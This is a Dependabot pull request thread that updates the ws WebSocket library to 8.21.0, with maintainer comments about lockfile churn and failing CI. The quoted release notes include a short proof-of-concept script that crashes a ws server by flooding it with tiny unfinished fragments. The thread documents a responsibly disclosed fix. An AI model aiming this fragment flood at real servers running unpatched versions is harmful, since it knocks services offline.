Bump ws from 8.20.0 to 8.21.0 in the npm_and_yarn group across 1 directory

[dependabot]

Bumps the npm_and_yarn group with 1 update in the / directory: ws.

Updates ws from 8.20.0 to 8.21.0

Release notes

Sourced from ws's releases.

8.21.0

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

8.20.1

... (truncated)

Commits

• bca91ad [dist] 8.21.0
• 2b2abd4 [security] Limit retained message parts
• 78eabe2 [security] Add latest vulnerability to SECURITY.md
• 5d9b316 [dist] 8.20.1
• c0327ec [security] Fix uninitialized memory disclosure in websocket.close()
• ce2a3d6 [ci] Test on node 26
• 58e45b8 [ci] Do not test on node 25
• 5f26c24 [ci] Run the lint step on node 24
• See full diff in compare view

[ECorreia45]

CI is blocked at npm ci. This one-package security update rewrites package-lock.json from lockfile v1 to v3, producing ~32k lines of churn. Please regenerate a minimal ws-only lockfile update using the repository's existing lockfile format; the current branch should not be merged.

[ECorreia45]

@dependabot recreate

[ECorreia45]

@dependabot recreate

[ECorreia45]

The recreated branch still fails npm ci on Node 22 and 24 and refreshes unrelated lockfile entries. Do not merge this version. Regenerate package-lock.json cleanly from current master with the CI npm version (or deliberately migrate the lockfile format), verify npm ci, build, and tests, then reapply the ws 8.21.0 security update.

[ECorreia45]

Resolved by PR #174. The legacy lockfile was regenerated as lockfile v3, ws is pinned to patched version 8.21.0, and clean install/build/tests passed on Node.js 22 and 24. Closing this Dependabot PR as superseded.

[dependabot]

This pull request was built based on a group rule. Closing it will not ignore any of these versions in future pull requests.

To ignore these dependencies, configure ignore rules in dependabot.yml